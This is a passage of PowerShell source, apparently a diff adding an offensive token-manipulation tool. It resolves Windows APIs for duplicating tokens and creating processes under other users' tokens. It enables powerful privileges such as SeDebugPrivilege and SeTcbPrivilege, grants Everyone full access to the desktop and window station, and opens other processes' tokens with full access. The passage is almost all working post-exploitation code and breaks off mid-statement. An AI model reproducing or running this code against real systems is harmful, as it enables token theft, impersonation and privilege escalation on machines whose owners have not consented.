[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessWithTokenWAddr, $CreateProcessWithTokenWDelegate) + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + + $DuplicateTokenExAddr = Get-ProcAddress advapi32.dll DuplicateTokenEx + $DuplicateTokenExDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) + $DuplicateTokenEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuplicateTokenExAddr, $DuplicateTokenExDelegate) + + $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW + $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool]) + $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate) + + $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle + $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) + + $LsaFreeReturnBufferAddr = Get-ProcAddress secur32.dll LsaFreeReturnBuffer + $LsaFreeReturnBufferDelegate = Get-DelegateType @([IntPtr]) ([UInt32]) + $LsaFreeReturnBuffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaFreeReturnBufferAddr, $LsaFreeReturnBufferDelegate) + + $OpenThreadAddr = Get-ProcAddress kernel32.dll OpenThread + $OpenThreadDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadAddr, $OpenThreadDelegate) + + $OpenThreadTokenAddr = Get-ProcAddress advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + + $CreateProcessAsUserWAddr = Get-ProcAddress advapi32.dll CreateProcessAsUserW + $CreateProcessAsUserWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) + $CreateProcessAsUserW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessAsUserWAddr, $CreateProcessAsUserWDelegate) + + $OpenWindowStationWAddr = Get-ProcAddress user32.dll OpenWindowStationW + $OpenWindowStationWDelegate = Get-DelegateType @([IntPtr], [Bool], [UInt32]) ([IntPtr]) + $OpenWindowStationW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenWindowStationWAddr, $OpenWindowStationWDelegate) + + $OpenDesktopAAddr = Get-ProcAddress user32.dll OpenDesktopA + $OpenDesktopADelegate = Get-DelegateType @([String], [UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenDesktopA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenDesktopAAddr, $OpenDesktopADelegate) + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], $LUID.MakeByRefType()) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], $TOKEN_PRIVILEGES.MakeByRefType(), [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + + $GetSecurityInfoAddr = Get-ProcAddress advapi32.dll GetSecurityInfo + $GetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType()) ([UInt32]) + $GetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetSecurityInfoAddr, $GetSecurityInfoDelegate) + + $SetSecurityInfoAddr = Get-ProcAddress advapi32.dll SetSecurityInfo + $SetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32]) + $SetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetSecurityInfoAddr, $SetSecurityInfoDelegate) + + $GetAceAddr = Get-ProcAddress advapi32.dll GetAce + $GetAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([IntPtr]) + $GetAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAceAddr, $GetAceDelegate) + + $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW + $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool]) + $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate) + + $AddAccessAllowedAceAddr = Get-ProcAddress advapi32.dll AddAccessAllowedAce + $AddAccessAllowedAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr]) ([Bool]) + $AddAccessAllowedAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AddAccessAllowedAceAddr, $AddAccessAllowedAceDelegate) + + $CreateWellKnownSidAddr = Get-ProcAddress advapi32.dll CreateWellKnownSid + $CreateWellKnownSidDelegate = Get-DelegateType @([UInt32], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool]) + $CreateWellKnownSid = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateWellKnownSidAddr, $CreateWellKnownSidDelegate) + + $SetEntriesInAclWAddr = Get-ProcAddress advapi32.dll SetEntriesInAclW + $SetEntriesInAclWDelegate = Get-DelegateType @([UInt32], $EXPLICIT_ACCESS.MakeByRefType(), [IntPtr], [IntPtr].MakeByRefType()) ([UInt32]) + $SetEntriesInAclW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetEntriesInAclWAddr, $SetEntriesInAclWDelegate) + + $LocalFreeAddr = Get-ProcAddress kernel32.dll LocalFree + $LocalFreeDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) + $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate) + + $LookupPrivilegeNameWAddr = Get-ProcAddress advapi32.dll LookupPrivilegeNameW + $LookupPrivilegeNameWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool]) + $LookupPrivilegeNameW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeNameWAddr, $LookupPrivilegeNameWDelegate) + ############################### + + + #Used to add 64bit memory addresses + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + #Enable SeAssignPrimaryTokenPrivilege, needed to query security information for desktop DACL + function Enable-SeAssignPrimaryTokenPrivilege + { + [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result -eq $false) + { + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + } + else + { + Throw ([ComponentModel.Win32Exception] $ErrorCode) + } + } + + $CloseHandle.Invoke($ThreadHandle) | Out-Null + + $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID) + $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize) + $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) + + $Result = $LookupPrivilegeValue.Invoke($null, "SeAssignPrimaryTokenPrivilege", [Ref] $LuidObject) + + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + [UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) + $LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize) + $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr) + + $LuidAndAttributes.Luid = $LuidObject + $LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES) + $TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges = $LuidAndAttributes + + $Global:TokenPriv = $TokenPrivileges + + $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + $CloseHandle.Invoke($ThreadToken) | Out-Null + } + + + #Enable SeSecurityPrivilege, needed to query security information for desktop DACL + function Enable-Privilege + { + Param( + [Parameter()] + [ValidateSet("SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", + "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege", + "SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege", + "SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege", "SeLockMemoryPrivilege", "SeMachineAccountPrivilege", + "SeManageVolumePrivilege", "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", "SeRestorePrivilege", + "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege", + "SeSystemtimePrivilege", "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege", + "SeUndockPrivilege", "SeUnsolicitedInputPrivilege")] + [String] + $Privilege + ) + + [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result -eq $false) + { + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + } + else + { + Throw ([ComponentModel.Win32Exception] $ErrorCode) + } + } + + $CloseHandle.Invoke($ThreadHandle) | Out-Null + + $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID) + $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize) + $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) + + $Result = $LookupPrivilegeValue.Invoke($null, $Privilege, [Ref] $LuidObject) + + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + [UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) + $LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize) + $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr) + + $LuidAndAttributes.Luid = $LuidObject + $LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES) + $TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges = $LuidAndAttributes + + $Global:TokenPriv = $TokenPrivileges + + Write-Verbose "Attempting to enable privilege: $Privilege" + $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + $CloseHandle.Invoke($ThreadToken) | Out-Null + Write-Verbose "Enabled privilege: $Privilege" + } + + + #Change the ACL of the WindowStation and Desktop + function Set-DesktopACLs + { + Enable-Privilege -Privilege SeSecurityPrivilege + + #Change the privilege for the current window station to allow full privilege for all users + $WindowStationStr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("WinSta0") + $hWinsta = $OpenWindowStationW.Invoke($WindowStationStr, $false, $Win32Constants.ACCESS_SYSTEM_SECURITY -bor $Win32Constants.READ_CONTROL -bor $Win32Constants.WRITE_DAC) + + if ($hWinsta -eq [IntPtr]::Zero) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + Set-DesktopACLToAllowEveryone -hObject $hWinsta + $CloseHandle.Invoke($hWinsta) | Out-Null + + #Change the privilege for the current desktop to allow full privilege for all users + $hDesktop = $OpenDesktopA.Invoke("default", 0, $false, $Win32Constants.DESKTOP_GENERIC_ALL -bor $Win32Constants.WRITE_DAC) + if ($hDesktop -eq [IntPtr]::Zero) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + Set-DesktopACLToAllowEveryone -hObject $hDesktop + $CloseHandle.Invoke($hDesktop) | Out-Null + } + + + function Set-DesktopACLToAllowEveryone + { + Param( + [IntPtr]$hObject + ) + + [IntPtr]$ppSidOwner = [IntPtr]::Zero + [IntPtr]$ppsidGroup = [IntPtr]::Zero + [IntPtr]$ppDacl = [IntPtr]::Zero + [IntPtr]$ppSacl = [IntPtr]::Zero + [IntPtr]$ppSecurityDescriptor = [IntPtr]::Zero + #0x7 is window station, change for other types + $retVal = $GetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, [Ref]$ppSidOwner, [Ref]$ppSidGroup, [Ref]$ppDacl, [Ref]$ppSacl, [Ref]$ppSecurityDescriptor) + if ($retVal -ne 0) + { + Write-Error "Unable to call GetSecurityInfo. ErrorCode: $retVal" + } + + if ($ppDacl -ne [IntPtr]::Zero) + { + $AclObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ppDacl, [Type]$ACL) + + #Add all users to acl + [UInt32]$RealSize = 2000 + $pAllUsersSid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($RealSize) + $Success = $CreateWellKnownSid.Invoke(1, [IntPtr]::Zero, $pAllUsersSid, [Ref]$RealSize) + if (-not $Success) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + #For user "Everyone" + $TrusteeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TRUSTEE) + $TrusteePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TrusteeSize) + $TrusteeObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TrusteePtr, [Type]$TRUSTEE) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TrusteePtr) + $TrusteeObj.pMultipleTrustee = [IntPtr]::Zero + $TrusteeObj.MultipleTrusteeOperation = 0 + $TrusteeObj.TrusteeForm = $Win32Constants.TRUSTEE_IS_SID + $TrusteeObj.TrusteeType = $Win32Constants.TRUSTEE_IS_WELL_KNOWN_GROUP + $TrusteeObj.ptstrName = $pAllUsersSid + + #Give full permission + $ExplicitAccessSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$EXPLICIT_ACCESS) + $ExplicitAccessPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ExplicitAccessSize) + $ExplicitAccess = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExplicitAccessPtr, [Type]$EXPLICIT_ACCESS) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ExplicitAccessPtr) + $ExplicitAccess.grfAccessPermissions = 0xf03ff + $ExplicitAccess.grfAccessMode = $Win32constants.GRANT_ACCESS + $ExplicitAccess.grfInheritance = $Win32Constants.OBJECT_INHERIT_ACE + $ExplicitAccess.Trustee = $TrusteeObj + + [IntPtr]$NewDacl = [IntPtr]::Zero + + $RetVal = $SetEntriesInAclW.Invoke(1, [Ref]$ExplicitAccess, $ppDacl, [Ref]$NewDacl) + if ($RetVal -ne 0) + { + Write-Error "Error calling SetEntriesInAclW: $RetVal" + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAllUsersSid) + + if ($NewDacl -eq [IntPtr]::Zero) + { + throw "New DACL is null" + } + + #0x7 is window station, change for other types + $RetVal = $SetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, $ppSidOwner, $ppSidGroup, $NewDacl, $ppSacl) + if ($RetVal -ne 0) + { + Write-Error "SetSecurityInfo failed. Return value: $RetVal" + } + + $LocalFree.Invoke($ppSecurityDescriptor) | Out-Null + } + } + + + #Get the primary token for the specified processId + function Get-PrimaryToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [UInt32] + $ProcessId, + + #Open the token with all privileges. Requires SYSTEM because some of the privileges are restricted to SYSTEM. + [Parameter()] + [Switch] + $FullPrivs + ) + + if ($FullPrivs) + { + $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS + } + else + { + $TokenPrivs = $Win32Constants.TOKEN_ASSIGN_PRIMARY -bor $Win32Constants.TOKEN_DUPLICATE -bor $Win32Constants.TOKEN_IMPERSONATE -bor $Win32Constants.TOKEN_QUERY + } + + $ReturnStruct = New-Object PSObject + + $hProcess = $OpenProcess.Invoke($Win32Constants.PROCESS_QUERY_INFORMATION, $true, [UInt32]$ProcessId) + $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcess -Value $hProcess + if ($hProcess -eq [IntPtr]::Zero) + { + #If a process is a protected process it cannot be enumerated. This call should only fail for protected processes. + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Verbose "Failed to open process handle for ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error code: $ErrorCode . This is likely because this is a protected process." + return $null + } + else + { + [IntPtr]$hProcToken = [IntPtr]::Zero + $Success = $OpenProcessToken.Invoke($hProcess, $TokenPrivs, [Ref]$hProcToken) + + #Close the handle to hProcess (the process handle) + if (-not $CloseHandle.Invoke($hProcess)) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to close process handle, this is unexpected. ErrorCode: $ErrorCode" + } + $hProcess = [IntPtr]::Zero + + if ($Success -eq $false -or $hProcToken -eq [IntPtr]::Zero) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to get processes primary token. ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error: $ErrorCode" + return $null + } + else + { + $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcToken -Value $hProcToken + } + } + + return $ReturnStruct + } + + + function Get-ThreadToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [UInt32] + $ThreadId + ) + + $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS + + $RetStruct = New-Object PSObject + [IntPtr]$hThreadToken = [IntPtr]::Zero + + $hThread = $OpenThread.Invoke($Win32Constants.THREAD_ALL_ACCESS, $false, $ThreadId) + if ($hThread -eq [IntPtr]::Zero) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER) #The thread probably no longer exists + { + Write-Warning "Failed to open thread handle for ThreadId: $ThreadId. Error code: $ErrorCode" + } + } + else + { + $Success = $OpenThreadToken.Invoke($hThread, $TokenPrivs, $false, [Ref]$hThreadToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if (($ErrorCode -ne $Win32Constants.ERROR_NO_TOKEN) -and #This error is returned when the thread isn't impersonated + ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER)) #Probably means the thread was closed + { + Write-Warning "Failed to call OpenThreadToken for ThreadId: $ThreadId. Error code: $ErrorCode" + } + } + else + { + Write-Verbose "Successfully queried thread token" + } + + #Close the handle to hThread (the thread handle) + if (-not $CloseHandle.Invoke($hThread)) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to close thread handle, this is unexpected. ErrorCode: $ErrorCode" + } + $hThread = [IntPtr]::Zero + } + + $RetStruct | Add-Member -MemberType NoteProperty -Name hThreadToken -Value $hThreadToken + return $RetStruct + } + + + #Gets important information about the token such as the logon type associated with the logon + function Get-TokenInformation + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken + ) + + $ReturnObj = $null + + $TokenStatsSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_STATISTICS) + [IntPtr]$TokenStatsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenStatsSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenStatistics, $TokenStatsPtr, $TokenStatsSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed. Error code: $ErrorCode" + } + else + { + $TokenStats = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenStatsPtr, [Type]$TOKEN_STATISTICS) + + #Query LSA to determine what the logontype of the session is that the token corrosponds to, as well as the username/domain of the logon + $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID)) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenStats.AuthenticationId, $LuidPtr, $false) + + [IntPtr]$LogonSessionDataPtr = [IntPtr]::Zero + $ReturnVal = $LsaGetLogonSessionData.Invoke($LuidPtr, [Ref]$LogonSessionDataPtr) + if ($ReturnVal -ne 0 -and $LogonSessionDataPtr -eq [IntPtr]::Zero) + { + Write-Warning "Call to LsaGetLogonSessionData failed. Error code: $ReturnVal. LogonSessionDataPtr = $LogonSessionDataPtr" + } + else + { + $LogonSessionData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LogonSessionDataPtr, [Type]$SECURITY_LOGON_SESSION_DATA) + if ($LogonSessionData.Username.Buffer -ne [IntPtr]::Zero -and + $LogonSessionData.LoginDomain.Buffer -ne [IntPtr]::Zero) + { + #Get the username and domainname associated with the token + $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.Username.Buffer, $LogonSessionData.Username.Length/2) + $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.LoginDomain.Buffer, $LogonSessionData.LoginDomain.Length/2) + + #If UserName is for the computer account, figure out what account it actually is (SYSTEM, NETWORK SERVICE) + #Only do this for the computer account because other accounts return correctly. Also, doing this for a domain account + #results in querying the domain controller which is unwanted. + if ($Username -ieq "$($env:COMPUTERNAME)`$") + { + [UInt32]$Size = 100 + [UInt32]$NumUsernameChar = $Size / 2 + [UInt32]$NumDomainChar = $Size / 2 + [UInt32]$SidNameUse = 0 + $UsernameBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size) + $DomainBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size) + $Success = $LookupAccountSidW.Invoke([IntPtr]::Zero, $LogonSessionData.Sid, $UsernameBuffer, [Ref]$NumUsernameChar, $DomainBuffer, [Ref]$NumDomainChar, [Ref]$SidNameUse) + + if ($Success) + { + $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($UsernameBuffer) + $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($DomainBuffer) + } + else + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Error calling LookupAccountSidW. Error code: $ErrorCode" + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UsernameBuffer) + $UsernameBuffer = [IntPtr]::Zero + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($DomainBuffer) + $DomainBuffer = [IntPtr]::Zero + } + + $ReturnObj = New-Object PSObject + $ReturnObj | Add-Member -Type NoteProperty -Name Domain -Value $Domain + $ReturnObj | Add-Member -Type NoteProperty -Name Username -Value $Username + $ReturnObj | Add-Member -Type NoteProperty -Name hToken -Value $hToken + $ReturnObj | Add-Member -Type NoteProperty -Name LogonType -Value $LogonSessionData.LogonType + + + #Query additional info about the token such as if it is elevated + $ReturnObj | Add-Member -Type NoteProperty -Name IsElevated -Value $false + + $TokenElevationSize = 